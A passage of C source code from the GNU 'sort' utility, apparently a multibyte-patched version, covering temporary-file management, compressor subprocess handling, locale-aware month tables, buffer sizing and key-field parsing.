{"temporary-directory", required_argument, NULL, 'T'}, {"unique", no_argument, NULL, 'u'}, {"zero-terminated", no_argument, NULL, 'z'}, {"parallel", required_argument, NULL, PARALLEL_OPTION}, {GETOPT_HELP_OPTION_DECL}, {GETOPT_VERSION_OPTION_DECL}, {NULL, 0, NULL, 0}, }; #define CHECK_TABLE \ _ct_("quiet", 'C') \ _ct_("silent", 'C') \ _ct_("diagnose-first", 'c') static char const *const check_args[] = { #define _ct_(_s, _c) _s, CHECK_TABLE NULL #undef _ct_ }; static char const check_types[] = { #define _ct_(_s, _c) _c, CHECK_TABLE #undef _ct_ }; #define SORT_TABLE \ _st_("general-numeric", 'g') \ _st_("human-numeric", 'h') \ _st_("month", 'M') \ _st_("numeric", 'n') \ _st_("random", 'R') \ _st_("version", 'V') static char const *const sort_args[] = { #define _st_(_s, _c) _s, SORT_TABLE NULL #undef _st_ }; static char const sort_types[] = { #define _st_(_s, _c) _c, SORT_TABLE #undef _st_ }; /* The set of signals that are caught. */ static sigset_t caught_signals; /* Critical section status. */ struct cs_status { bool valid; sigset_t sigs; }; /* Enter a critical section. */ static struct cs_status cs_enter (void) { struct cs_status status; status.valid = (sigprocmask (SIG_BLOCK, &caught_signals, &status.sigs) == 0); return status; } /* Leave a critical section. */ static void cs_leave (struct cs_status status) { if (status.valid) { /* Ignore failure when restoring the signal mask. */ sigprocmask (SIG_SETMASK, &status.sigs, NULL); } } /* Possible states for a temp file. If compressed, the file's status is unreaped or reaped, depending on whether 'sort' has waited for the subprocess to finish. */ enum { UNCOMPRESSED, UNREAPED, REAPED }; /* The list of temporary files. */ struct tempnode { struct tempnode *volatile next; pid_t pid; /* The subprocess PID; undefined if state == UNCOMPRESSED. */ char state; char name[1]; /* Actual size is 1 + file name length. */ }; static struct tempnode *volatile temphead; static struct tempnode *volatile *temptail = &temphead; /* A file to be sorted. */ struct sortfile { /* The file's name. */ char const *name; /* Nonnull if this is a temporary file, in which case NAME == TEMP->name. */ struct tempnode *temp; }; /* Map PIDs of unreaped subprocesses to their struct tempnode objects. */ static Hash_table *proctab; enum { INIT_PROCTAB_SIZE = 47 }; static size_t proctab_hasher (void const *entry, size_t tabsize) { struct tempnode const *node = entry; return node->pid % tabsize; } static bool proctab_comparator (void const *e1, void const *e2) { struct tempnode const *n1 = e1; struct tempnode const *n2 = e2; return n1->pid == n2->pid; } /* The number of unreaped child processes. */ static pid_t nprocs; static bool delete_proc (pid_t); /* If PID is positive, wait for the child process with that PID to exit, and assume that PID has already been removed from the process table. If PID is 0 or -1, clean up some child that has exited (by waiting for it, and removing it from the proc table) and return the child's process ID. However, if PID is 0 and no children have exited, return 0 without waiting. */ static pid_t reap (pid_t pid) { int status; pid_t cpid = waitpid ((pid ? pid : -1), &status, (pid ? 0 : WNOHANG)); if (cpid < 0) error (SORT_FAILURE, errno, _("waiting for %s [-d]"), compress_program); else if (0 < cpid && (0 < pid || delete_proc (cpid))) { if (! WIFEXITED (status) || WEXITSTATUS (status)) error (SORT_FAILURE, 0, _("%s [-d] terminated abnormally"), compress_program); --nprocs; } return cpid; } /* TEMP represents a new process; add it to the process table. Create the process table the first time it's called. */ static void register_proc (struct tempnode *temp) { if (! proctab) { proctab = hash_initialize (INIT_PROCTAB_SIZE, NULL, proctab_hasher, proctab_comparator, NULL); if (! proctab) xalloc_die (); } temp->state = UNREAPED; if (! hash_insert (proctab, temp)) xalloc_die (); } /* If PID is in the process table, remove it and return true. Otherwise, return false. */ static bool delete_proc (pid_t pid) { struct tempnode test; test.pid = pid; struct tempnode *node = hash_delete (proctab, &test); if (! node) return false; node->state = REAPED; return true; } /* Remove PID from the process table, and wait for it to exit if it hasn't already. */ static void wait_proc (pid_t pid) { if (delete_proc (pid)) reap (pid); } /* Reap any exited children. Do not block; reap only those that have already exited. */ static void reap_exited (void) { while (0 < nprocs && reap (0)) continue; } /* Reap at least one exited child, waiting if necessary. */ static void reap_some (void) { reap (-1); reap_exited (); } /* Reap all children, waiting if necessary. */ static void reap_all (void) { while (0 < nprocs) reap (-1); } /* Function pointers. */ static void (*inittables) (void); static char * (*begfield) (const struct line*, const struct keyfield *); static char * (*limfield) (const struct line*, const struct keyfield *); static void (*skipblanks) (char **ptr, char *lim); static int (*getmonth) (char const *, size_t, char **); static int (*keycompare) (const struct line *, const struct line *); static int (*numcompare) (const char *, const char *); /* Test for white space multibyte character. Set LENGTH the byte length of investigated multibyte character. */ #if HAVE_MBRTOWC static int ismbblank (const char *str, size_t len, size_t *length) { size_t mblength; wchar_t wc; mbstate_t state; memset (&state, '\0', sizeof(mbstate_t)); mblength = mbrtowc (&wc, str, len, &state); if (mblength == (size_t)-1 || mblength == (size_t)-2) { *length = 1; return 0; } *length = (mblength < 1) ? 1 : mblength; return iswblank (wc); } #endif /* Clean up any remaining temporary files. */ static void cleanup (void) { struct tempnode const *node; for (node = temphead; node; node = node->next) unlink (node->name); temphead = NULL; } /* Cleanup actions to take when exiting. */ static void exit_cleanup (void) { if (temphead) { /* Clean up any remaining temporary files in a critical section so that a signal handler does not try to clean them too. */ struct cs_status cs = cs_enter (); cleanup (); cs_leave (cs); } close_stdout (); } /* Create a new temporary file, returning its newly allocated tempnode. Store into *PFD the file descriptor open for writing. If the creation fails, return NULL and store -1 into *PFD if the failure is due to file descriptor exhaustion and SURVIVE_FD_EXHAUSTION; otherwise, die. */ static struct tempnode * create_temp_file (int *pfd, bool survive_fd_exhaustion) { static char const slashbase[] = "/sortXXXXXX"; static size_t temp_dir_index; int fd; int saved_errno; char const *temp_dir = temp_dirs[temp_dir_index]; size_t len = strlen (temp_dir); struct tempnode *node = xmalloc (offsetof (struct tempnode, name) + len + sizeof slashbase); char *file = node->name; struct cs_status cs; memcpy (file, temp_dir, len); memcpy (file + len, slashbase, sizeof slashbase); node->next = NULL; if (++temp_dir_index == temp_dir_count) temp_dir_index = 0; /* Create the temporary file in a critical section, to avoid races. */ cs = cs_enter (); fd = mkstemp (file); if (0 <= fd) { *temptail = node; temptail = &node->next; } saved_errno = errno; cs_leave (cs); errno = saved_errno; if (fd < 0) { if (! (survive_fd_exhaustion && errno == EMFILE)) error (SORT_FAILURE, errno, _("cannot create temporary file in %s"), quote (temp_dir)); free (node); node = NULL; } *pfd = fd; return node; } /* Return a stream for FILE, opened with mode HOW. A null FILE means standard output; HOW should be "w". When opening for input, "-" means standard input. To avoid confusion, do not return file descriptors STDIN_FILENO, STDOUT_FILENO, or STDERR_FILENO when opening an ordinary FILE. Return NULL if unsuccessful. fadvise() is used to specify an access pattern for input files. There are a few hints we could possibly provide, and after careful testing it was decided that specifying POSIX_FADV_SEQUENTIAL was not detrimental to any cases. On Linux 2.6.31, this option doubles the size of read ahead performed and thus was seen to benefit these cases: Merging Sorting with a smaller internal buffer Reading from faster flash devices In _addition_ one could also specify other hints... POSIX_FADV_WILLNEED was tested, but Linux 2.6.31 at least uses that to _synchronously_ prepopulate the cache with the specified range. While sort does need to read all of its input before outputting, a synchronous read of the whole file up front precludes any processing that sort could do in parallel with the system doing read ahead of the data. This was seen to have negative effects in a couple of cases: Merging Sorting with a smaller internal buffer Note this option was seen to shorten the runtime for sort on a multicore system with lots of RAM and other processes competing for CPU. It could be argued that more explicit scheduling hints with 'nice' et. al. are more appropriate for this situation. POSIX_FADV_NOREUSE is a possibility as it could lower the priority of input data in the cache as sort will only need to process it once. However its functionality has changed over Linux kernel versions and as of 2.6.31 it does nothing and thus we can't depend on what it might do in future. POSIX_FADV_DONTNEED is not appropriate for user specified input files, but for temp files we do want to drop the cache immediately after processing. This is done implicitly however when the files are unlinked. */ static FILE * stream_open (char const *file, char const *how) { FILE *fp; if (*how == 'r') { if (STREQ (file, "-")) { have_read_stdin = true; fp = stdin; } else fp = fopen (file, how); fadvise (fp, FADVISE_SEQUENTIAL); } else if (*how == 'w') { if (file && ftruncate (STDOUT_FILENO, 0) != 0) error (SORT_FAILURE, errno, _("%s: error truncating"), quote (file)); fp = stdout; } else assert (!"unexpected mode passed to stream_open"); return fp; } /* Same as stream_open, except always return a non-null value; die on failure. */ static FILE * xfopen (char const *file, char const *how) { FILE *fp = stream_open (file, how); if (!fp) die (_("open failed"), file); return fp; } /* Close FP, whose name is FILE, and report any errors. */ static void xfclose (FILE *fp, char const *file) { switch (fileno (fp)) { case STDIN_FILENO: /* Allow reading stdin from tty more than once. */ if (feof (fp)) clearerr (fp); break; case STDOUT_FILENO: /* Don't close stdout just yet. close_stdout does that. */ if (fflush (fp) != 0) die (_("fflush failed"), file); break; default: if (fclose (fp) != 0) die (_("close failed"), file); break; } } static void move_fd_or_die (int oldfd, int newfd) { if (oldfd != newfd) { /* This should never fail for our usage. */ dup2 (oldfd, newfd); close (oldfd); } } /* Fork a child process for piping to and do common cleanup. The TRIES parameter tells us how many times to try to fork before giving up. Return the PID of the child, or -1 (setting errno) on failure. */ static pid_t pipe_fork (int pipefds[2], size_t tries) { #if HAVE_WORKING_FORK struct tempnode *saved_temphead; int saved_errno; double wait_retry = 0.25; pid_t pid IF_LINT ( = -1); struct cs_status cs; if (pipe (pipefds) < 0) return -1; /* At least NMERGE + 1 subprocesses are needed. More could be created, but uncontrolled subprocess generation can hurt performance significantly. Allow at most NMERGE + 2 subprocesses, on the theory that there may be some useful parallelism by letting compression for the previous merge finish (1 subprocess) in parallel with the current merge (NMERGE + 1 subprocesses). */ if (nmerge + 1 < nprocs) reap_some (); while (tries--) { /* This is so the child process won't delete our temp files if it receives a signal before exec-ing. */ cs = cs_enter (); saved_temphead = temphead; temphead = NULL; pid = fork (); saved_errno = errno; if (pid) temphead = saved_temphead; cs_leave (cs); errno = saved_errno; if (0 <= pid || errno != EAGAIN) break; else { xnanosleep (wait_retry); wait_retry *= 2; reap_exited (); } } if (pid < 0) { saved_errno = errno; close (pipefds[0]); close (pipefds[1]); errno = saved_errno; } else if (pid == 0) { close (STDIN_FILENO); close (STDOUT_FILENO); } else ++nprocs; return pid; #else /* ! HAVE_WORKING_FORK */ return -1; #endif } /* Create a temporary file and, if asked for, start a compressor to that file. Set *PFP to the file handle and return the address of the new temp node. If the creation fails, return NULL if the failure is due to file descriptor exhaustion and SURVIVE_FD_EXHAUSTION; otherwise, die. */ static struct tempnode * maybe_create_temp (FILE **pfp, bool survive_fd_exhaustion) { int tempfd; struct tempnode *node = create_temp_file (&tempfd, survive_fd_exhaustion); if (! node) return NULL; node->state = UNCOMPRESSED; if (compress_program) { int pipefds[2]; node->pid = pipe_fork (pipefds, MAX_FORK_TRIES_COMPRESS); if (0 < node->pid) { close (tempfd); close (pipefds[0]); tempfd = pipefds[1]; register_proc (node); } else if (node->pid == 0) { /* Being the child of a multithreaded program before exec(), we're restricted to calling async-signal-safe routines here. */ close (pipefds[1]); move_fd_or_die (tempfd, STDOUT_FILENO); move_fd_or_die (pipefds[0], STDIN_FILENO); execlp (compress_program, compress_program, (char *) NULL); async_safe_die (errno, "couldn't execute compress program"); } } *pfp = fdopen (tempfd, "w"); if (! *pfp) die (_("couldn't create temporary file"), node->name); return node; } /* Create a temporary file and, if asked for, start a compressor to that file. Set *PFP to the file handle and return the address of the new temp node. Die on failure. */ static struct tempnode * create_temp (FILE **pfp) { return maybe_create_temp (pfp, false); } /* Open a compressed temp file and start a decompression process through which to filter the input. Return NULL (setting errno to EMFILE) if we ran out of file descriptors, and die on any other kind of failure. */ static FILE * open_temp (struct tempnode *temp) { int tempfd, pipefds[2]; FILE *fp = NULL; if (temp->state == UNREAPED) wait_proc (temp->pid); tempfd = open (temp->name, O_RDONLY); if (tempfd < 0) return NULL; pid_t child = pipe_fork (pipefds, MAX_FORK_TRIES_DECOMPRESS); switch (child) { case -1: if (errno != EMFILE) error (SORT_FAILURE, errno, _("couldn't create process for %s -d"), compress_program); close (tempfd); errno = EMFILE; break; case 0: /* Being the child of a multithreaded program before exec(), we're restricted to calling async-signal-safe routines here. */ close (pipefds[0]); move_fd_or_die (tempfd, STDIN_FILENO); move_fd_or_die (pipefds[1], STDOUT_FILENO); execlp (compress_program, compress_program, "-d", (char *) NULL); async_safe_die (errno, "couldn't execute compress program (with -d)"); default: temp->pid = child; register_proc (temp); close (tempfd); close (pipefds[1]); fp = fdopen (pipefds[0], "r"); if (! fp) { int saved_errno = errno; close (pipefds[0]); errno = saved_errno; } break; } return fp; } /* Append DIR to the array of temporary directory names. */ static void add_temp_dir (char const *dir) { if (temp_dir_count == temp_dir_alloc) temp_dirs = X2NREALLOC (temp_dirs, &temp_dir_alloc); temp_dirs[temp_dir_count++] = dir; } /* Remove NAME from the list of temporary files. */ static void zaptemp (char const *name) { struct tempnode *volatile *pnode; struct tempnode *node; struct tempnode *next; int unlink_status; int unlink_errno = 0; struct cs_status cs; for (pnode = &temphead; (node = *pnode)->name != name; pnode = &node->next) continue; if (node->state == UNREAPED) wait_proc (node->pid); /* Unlink the temporary file in a critical section to avoid races. */ next = node->next; cs = cs_enter (); unlink_status = unlink (name); unlink_errno = errno; *pnode = next; cs_leave (cs); if (unlink_status != 0) error (0, unlink_errno, _("warning: cannot remove: %s"), name); if (! next) temptail = pnode; free (node); } #if HAVE_LANGINFO_CODESET static int struct_month_cmp (void const *m1, void const *m2) { struct month const *month1 = m1; struct month const *month2 = m2; return strcmp (month1->name, month2->name); } #endif /* Initialize the character class tables. */ static void inittables_uni (void) { size_t i; for (i = 0; i < UCHAR_LIM; ++i) { blanks[i] = !! isblank (i); nonprinting[i] = ! isprint (i); nondictionary[i] = ! isalnum (i) && ! isblank (i); fold_toupper[i] = toupper (i); } #if HAVE_LANGINFO_CODESET /* If we're not in the "C" locale, read different names for months. */ if (hard_LC_TIME) { for (i = 0; i < MONTHS_PER_YEAR; i++) { char const *s; size_t s_len; size_t j, k; char *name; s = nl_langinfo (ABMON_1 + i); s_len = strlen (s); monthtab[i].name = name = xmalloc (s_len + 1); monthtab[i].val = i + 1; for (j = k = 0; j < s_len; j++) if (! isblank (to_uchar (s[j]))) name[k++] = fold_toupper[to_uchar (s[j])]; name[k] = '\0'; } qsort (monthtab, MONTHS_PER_YEAR, sizeof *monthtab, struct_month_cmp); } #endif } /* Specify how many inputs may be merged at once. This may be set on the command-line with the --batch-size option. */ static void specify_nmerge (int oi, char c, char const *s) { uintmax_t n; struct rlimit rlimit; enum strtol_error e = xstrtoumax (s, NULL, 10, &n, NULL); /* Try to find out how many file descriptors we'll be able to open. We need at least nmerge + 3 (STDIN_FILENO, STDOUT_FILENO and STDERR_FILENO). */ unsigned int max_nmerge = ((getrlimit (RLIMIT_NOFILE, &rlimit) == 0 ? rlimit.rlim_cur : OPEN_MAX) - 3); if (e == LONGINT_OK) { nmerge = n; if (nmerge != n) e = LONGINT_OVERFLOW; else { if (nmerge < 2) { error (0, 0, _("invalid --%s argument %s"), long_options[oi].name, quote (s)); error (SORT_FAILURE, 0, _("minimum --%s argument is %s"), long_options[oi].name, quote ("2")); } else if (max_nmerge < nmerge) { e = LONGINT_OVERFLOW; } else return; } } if (e == LONGINT_OVERFLOW) { char max_nmerge_buf[INT_BUFSIZE_BOUND (max_nmerge)]; error (0, 0, _("--%s argument %s too large"), long_options[oi].name, quote (s)); error (SORT_FAILURE, 0, _("maximum --%s argument with current rlimit is %s"), long_options[oi].name, uinttostr (max_nmerge, max_nmerge_buf)); } else xstrtol_fatal (e, oi, c, long_options, s); } #if HAVE_MBRTOWC static void inittables_mb (void) { int i, j, k, l; char *name, *s, *lc_time, *lc_ctype; size_t s_len, mblength; char mbc[MB_LEN_MAX]; wchar_t wc, pwc; mbstate_t state_mb, state_wc; lc_time = setlocale (LC_TIME, ""); if (lc_time) lc_time = xstrdup (lc_time); lc_ctype = setlocale (LC_CTYPE, ""); if (lc_ctype) lc_ctype = xstrdup (lc_ctype); if (lc_time && lc_ctype) /* temporarily set LC_CTYPE to match LC_TIME, so that we can convert * the names of months to upper case */ setlocale (LC_CTYPE, lc_time); for (i = 0; i < MONTHS_PER_YEAR; i++) { s = (char *) nl_langinfo (ABMON_1 + i); s_len = strlen (s); monthtab[i].name = name = (char *) xmalloc (s_len + 1); monthtab[i].val = i + 1; memset (&state_mb, '\0', sizeof (mbstate_t)); memset (&state_wc, '\0', sizeof (mbstate_t)); for (j = 0; j < s_len;) { if (!ismbblank (s + j, s_len - j, &mblength)) break; j += mblength; } for (k = 0; j < s_len;) { mblength = mbrtowc (&wc, (s + j), (s_len - j), &state_mb); assert (mblength != (size_t)-1 && mblength != (size_t)-2); if (mblength == 0) break; pwc = towupper (wc); if (pwc == wc) { memcpy (mbc, s + j, mblength); j += mblength; } else { j += mblength; mblength = wcrtomb (mbc, pwc, &state_wc); assert (mblength != (size_t)0 && mblength != (size_t)-1); } for (l = 0; l < mblength; l++) name[k++] = mbc[l]; } name[k] = '\0'; } qsort ((void *) monthtab, MONTHS_PER_YEAR, sizeof (struct month), struct_month_cmp); if (lc_time && lc_ctype) /* restore the original locales */ setlocale (LC_CTYPE, lc_ctype); free (lc_ctype); free (lc_time); } #endif /* Specify the amount of main memory to use when sorting. */ static void specify_sort_size (int oi, char c, char const *s) { uintmax_t n; char *suffix; enum strtol_error e = xstrtoumax (s, &suffix, 10, &n, "EgGkKmMPtTYZ"); /* The default unit is KiB. */ if (e == LONGINT_OK && ISDIGIT (suffix[-1])) { if (n <= UINTMAX_MAX / 1024) n *= 1024; else e = LONGINT_OVERFLOW; } /* A 'b' suffix means bytes; a '%' suffix means percent of memory. */ if (e == LONGINT_INVALID_SUFFIX_CHAR && ISDIGIT (suffix[-1]) && ! suffix[1]) switch (suffix[0]) { case 'b': e = LONGINT_OK; break; case '%': { double mem = physmem_total () * n / 100; /* Use "<", not "<=", to avoid problems with rounding. */ if (mem < UINTMAX_MAX) { n = mem; e = LONGINT_OK; } else e = LONGINT_OVERFLOW; } break; } if (e == LONGINT_OK) { /* If multiple sort sizes are specified, take the maximum, so that option order does not matter. */ if (n < sort_size) return; sort_size = n; if (sort_size == n) { sort_size = MAX (sort_size, MIN_SORT_SIZE); return; } e = LONGINT_OVERFLOW; } xstrtol_fatal (e, oi, c, long_options, s); } /* Specify the number of threads to spawn during internal sort. */ static size_t specify_nthreads (int oi, char c, char const *s) { unsigned long int nthreads; enum strtol_error e = xstrtoul (s, NULL, 10, &nthreads, ""); if (e == LONGINT_OVERFLOW) return SIZE_MAX; if (e != LONGINT_OK) xstrtol_fatal (e, oi, c, long_options, s); if (SIZE_MAX < nthreads) nthreads = SIZE_MAX; if (nthreads == 0) error (SORT_FAILURE, 0, _("number in parallel must be nonzero")); return nthreads; } /* Return the default sort size. */ static size_t default_sort_size (void) { /* Let SIZE be MEM, but no more than the maximum object size, total memory, or system resource limits. Don't bother to check for values like RLIM_INFINITY since in practice they are not much less than SIZE_MAX. */ size_t size = SIZE_MAX; struct rlimit rlimit; if (getrlimit (RLIMIT_DATA, &rlimit) == 0 && rlimit.rlim_cur < size) size = rlimit.rlim_cur; #ifdef RLIMIT_AS if (getrlimit (RLIMIT_AS, &rlimit) == 0 && rlimit.rlim_cur < size) size = rlimit.rlim_cur; #endif /* Leave a large safety margin for the above limits, as failure can occur when they are exceeded. */ size /= 2; #ifdef RLIMIT_RSS /* Leave a 1/16 margin for RSS to leave room for code, stack, etc. Exceeding RSS is not fatal, but can be quite slow. */ if (getrlimit (RLIMIT_RSS, &rlimit) == 0 && rlimit.rlim_cur / 16 * 15 < size) size = rlimit.rlim_cur / 16 * 15; #endif /* Let MEM be available memory or 1/8 of total memory, whichever is greater. */ double avail = physmem_available (); double total = physmem_total (); double mem = MAX (avail, total / 8); /* Leave a 1/4 margin for physical memory. */ if (total * 0.75 < size) size = total * 0.75; /* Return the minimum of MEM and SIZE, but no less than MIN_SORT_SIZE. Avoid the MIN macro here, as it is not quite right when only one argument is floating point. */ if (mem < size) size = mem; return MAX (size, MIN_SORT_SIZE); } /* Return the sort buffer size to use with the input files identified by FPS and FILES, which are alternate names of the same files. NFILES gives the number of input files; NFPS may be less. Assume that each input line requires LINE_BYTES extra bytes' worth of line information. Do not exceed the size bound specified by the user (or a default size bound, if the user does not specify one). */ static size_t sort_buffer_size (FILE *const *fps, size_t nfps, char *const *files, size_t nfiles, size_t line_bytes) { /* A bound on the input size. If zero, the bound hasn't been determined yet. */ static size_t size_bound; /* In the worst case, each input byte is a newline. */ size_t worst_case_per_input_byte = line_bytes + 1; /* Keep enough room for one extra input line and an extra byte. This extra room might be needed when preparing to read EOF. */ size_t size = worst_case_per_input_byte + 1; size_t i; for (i = 0; i < nfiles; i++) { struct stat st; off_t file_size; size_t worst_case; if ((i < nfps ? fstat (fileno (fps[i]), &st) : STREQ (files[i], "-") ? fstat (STDIN_FILENO, &st) : stat (files[i], &st)) != 0) die (_("stat failed"), files[i]); if (S_ISREG (st.st_mode)) file_size = st.st_size; else { /* The file has unknown size. If the user specified a sort buffer size, use that; otherwise, guess the size. */ if (sort_size) return sort_size; file_size = INPUT_FILE_SIZE_GUESS; } if (! size_bound) { size_bound = sort_size; if (! size_bound) size_bound = default_sort_size (); } /* Add the amount of memory needed to represent the worst case where the input consists entirely of newlines followed by a single non-newline. Check for overflow. */ worst_case = file_size * worst_case_per_input_byte + 1; if (file_size != worst_case / worst_case_per_input_byte || size_bound - size <= worst_case) return size_bound; size += worst_case; } return size; } /* Initialize BUF. Reserve LINE_BYTES bytes for each line; LINE_BYTES must be at least sizeof (struct line). Allocate ALLOC bytes initially. */ static void initbuf (struct buffer *buf, size_t line_bytes, size_t alloc) { /* Ensure that the line array is properly aligned. If the desired size cannot be allocated, repeatedly halve it until allocation succeeds. The smaller allocation may hurt overall performance, but that's better than failing. */ while (true) { alloc += sizeof (struct line) - alloc % sizeof (struct line); buf->buf = malloc (alloc); if (buf->buf) break; alloc /= 2; if (alloc <= line_bytes + 1) xalloc_die (); } buf->line_bytes = line_bytes; buf->alloc = alloc; buf->used = buf->left = buf->nlines = 0; buf->eof = false; } /* Return one past the limit of the line array. */ static inline struct line * buffer_linelim (struct buffer const *buf) { void *linelim = buf->buf + buf->alloc; return linelim; } /* Return a pointer to the first character of the field specified by KEY in LINE. */ static char * begfield_uni (const struct line *line, const struct keyfield *key) { char *ptr = line->text, *lim = ptr + line->length - 1; size_t sword = key->sword; size_t schar = key->schar; /* The leading field separator itself is included in a field when -t is absent. */ if (tab_length) while (ptr < lim && sword--) { while (ptr < lim && *ptr != tab[0]) ++ptr; if (ptr < lim) ++ptr; } else while (ptr < lim && sword--) { while (ptr < lim && blanks[to_uchar (*ptr)]) ++ptr; while (ptr < lim && !blanks[to_uchar (*ptr)]) ++ptr; } /* If we're ignoring leading blanks when computing the Start of the field, skip past them here. */ if (key->skipsblanks) while (ptr < lim && blanks[to_uchar (*ptr)]) ++ptr; /* Advance PTR by SCHAR (if possible), but no further than LIM. */ ptr = MIN (lim, ptr + schar); return ptr; } #if HAVE_MBRTOWC static char * begfield_mb (const struct line *line, const struct keyfield *key) { int i; char *ptr = line->text, *lim = ptr + line->length - 1; size_t sword = key->sword; size_t schar = key->schar; size_t mblength; mbstate_t state; memset (&state, '\0', sizeof(mbstate_t)); if (tab_length) while (ptr < lim && sword--) { while (ptr < lim && memcmp (ptr, tab, tab_length) != 0) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } if (ptr < lim) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } } else while (ptr < lim && sword--) { while (ptr < lim && ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; if (ptr < lim) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } while (ptr < lim && !ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; } if (key->skipsblanks) while (ptr < lim && ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; for (i = 0; i < schar; i++) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); if (ptr + mblength > lim) break; else ptr += mblength; } return ptr; } #endif /* Return the limit of (a pointer to the first character after) the field in LINE specified by KEY. */ static char * limfield_uni (const struct line *line, const struct keyfield *key) { char *ptr = line->text, *lim = ptr + line->length - 1; size_t eword = key->eword, echar = key->echar; if (echar == 0) eword++; /* Skip all of end field. */ /* Move PTR past EWORD fields or to one past the last byte on LINE, whichever comes first. If there are more than EWORD fields, leave PTR pointing at the beginning of the field having zero-based index, EWORD. If a delimiter character was specified (via -t), then that 'beginning' is the first character following the delimiting TAB. Otherwise, leave PTR pointing at the first 'blank' character after the preceding field. */ if (tab_length) while (ptr < lim && eword--) { while (ptr < lim && *ptr != tab[0]) ++ptr; if (ptr < lim && (eword || echar)) ++ptr; } else while (ptr < lim && eword--) { while (ptr < lim && blanks[to_uchar (*ptr)]) ++ptr; while (ptr < lim && !blanks[to_uchar (*ptr)]) ++ptr; } #ifdef POSIX_UNSPECIFIED /* The following block of code makes GNU sort incompatible with standard Unix sort, so it's ifdef'd out for now. The POSIX spec isn't clear on how to interpret this. FIXME: request clarification. From: kwzh@gnu.ai.mit.edu (Karl Heuer) Date: Thu, 30 May 96 12:20:41 -0400 [Translated to POSIX 1003.1-2001 terminology by Paul Eggert.] [...]I believe I've found another bug in 'sort'. $ cat /tmp/sort.in a b c 2 d pq rs 1 t $ textutils-1.15/src/sort -k1.7,1.7 </tmp/sort.in a b c 2 d pq rs 1 t $ /bin/sort -k1.7,1.7 </tmp/sort.in pq rs 1 t a b c 2 d Unix sort produced the answer I expected: sort on the single character in column 7. GNU sort produced different results, because it disagrees on the interpretation of the key-end spec "M.N". Unix sort reads this as "skip M-1 fields, then N-1 characters"; but GNU sort wants it to mean "skip M-1 fields, then either N-1 characters or the rest of the current field, whichever comes first". This extra clause applies only to key-ends, not key-starts. */ /* Make LIM point to the end of (one byte past) the current field. */ if (tab_length) { char *newlim; newlim = memchr (ptr, tab[0], lim - ptr); if (newlim) lim = newlim; } else { char *newlim; newlim = ptr; while (newlim < lim && blanks[to_uchar (*newlim)]) ++newlim; while (newlim < lim && !blanks[to_uchar (*newlim)]) ++newlim; lim = newlim; } #endif if (echar != 0) /* We need to skip over a portion of the end field. */ { /* If we're ignoring leading blanks when computing the End of the field, skip past them here. */ if (key->skipeblanks) while (ptr < lim && blanks[to_uchar (*ptr)]) ++ptr; /* Advance PTR by ECHAR (if possible), but no further than LIM. */ ptr = MIN (lim, ptr + echar); } return ptr; } #if HAVE_MBRTOWC static char * limfield_mb (const struct line *line, const struct keyfield *key) { char *ptr = line->text, *lim = ptr + line->length - 1; size_t eword = key->eword, echar = key->echar; int i; size_t mblength; mbstate_t state; if (echar == 0) eword++; /* skip all of end field. */ memset (&state, '\0', sizeof(mbstate_t)); if (tab_length) while (ptr < lim && eword--) { while (ptr < lim && memcmp (ptr, tab, tab_length) != 0) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } if (ptr < lim && (eword | echar)) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } } else while (ptr < lim && eword--) { while (ptr < lim && ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; if (ptr < lim) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } while (ptr < lim && !ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; } # ifdef POSIX_UNSPECIFIED /* Make LIM point to the end of (one byte past) the current field. */ if (tab_length) { char *newlim, *p; newlim = NULL; for (p = ptr; p < lim;) { if (memcmp (p, tab, tab_length) == 0) { newlim = p; break; } GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); p += mblength; } } else { char *newlim; newlim = ptr; while (newlim < lim && ismbblank (newlim, lim - newlim, &mblength)) newlim += mblength; if (ptr < lim) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); ptr += mblength; } while (newlim < lim && !ismbblank (newlim, lim - newlim, &mblength)) newlim += mblength; lim = newlim; } # endif if (echar != 0) { /* If we're skipping leading blanks, don't start counting characters * until after skipping past any leading blanks. */ if (key->skipeblanks) while (ptr < lim && ismbblank (ptr, lim - ptr, &mblength)) ptr += mblength; memset (&state, '\0', sizeof(mbstate_t)); /* Advance PTR by ECHAR (if possible), but no further than LIM. */ for (i = 0; i < echar; i++) { GET_BYTELEN_OF_CHAR (lim, ptr, mblength, state); if (ptr + mblength > lim) break; else ptr += mblength; } } return ptr; } #endif static void skipblanks_uni (char **ptr, char *lim) { while (*ptr < lim && blanks[to_uchar (**ptr)]) ++(*ptr); } #if HAVE_MBRTOWC static void skipblanks_mb (char **ptr, char *lim) { size_t mblength; while (*ptr < lim && ismbblank (*ptr, lim - *ptr, &mblength)) (*ptr) += mblength; } #endif /* Fill BUF reading from FP, moving buf->left bytes from the end of buf->buf to the beginning first. If EOF is reached and the file wasn't terminated by a newline, supply one. Set up BUF's line table too. FILE is the name of the file corresponding to FP. Return true if some input was read. */ static bool fillbuf (struct buffer *buf, FILE *fp, char const *file) { struct keyfield const *key = keylist; char eol = eolchar; size_t line_bytes = buf->line_bytes; size_t mergesize = merge_buffer_size - MIN_MERGE_BUFFER_SIZE; if (buf->eof) return false; if (buf->used != buf->left) { memmove (buf->buf, buf->buf + buf->used - buf->left, buf->left); buf->used = buf->left; buf->nlines = 0; } while (true) { char *ptr = buf->buf + buf->used; struct line *linelim = buffer_linelim (buf); struct line *line = linelim - buf->nlines; size_t avail = (char *) linelim - buf->nlines * line_bytes - ptr; char *line_start = buf->nlines ? line->text + line->length : buf->buf; while (line_bytes + 1 < avail) { /* Read as many bytes as possible, but do not read so many bytes that there might not be enough room for the corresponding line array. The worst case is when the rest of the input file consists entirely of newlines, except that the last byte is not a newline. */ size_t readsize = (avail - 1) / (line_bytes + 1); size_t bytes_read = fread (ptr, 1, readsize, fp); char *ptrlim = ptr + bytes_read; char *p; avail -= bytes_read; if (bytes_read != readsize) { if 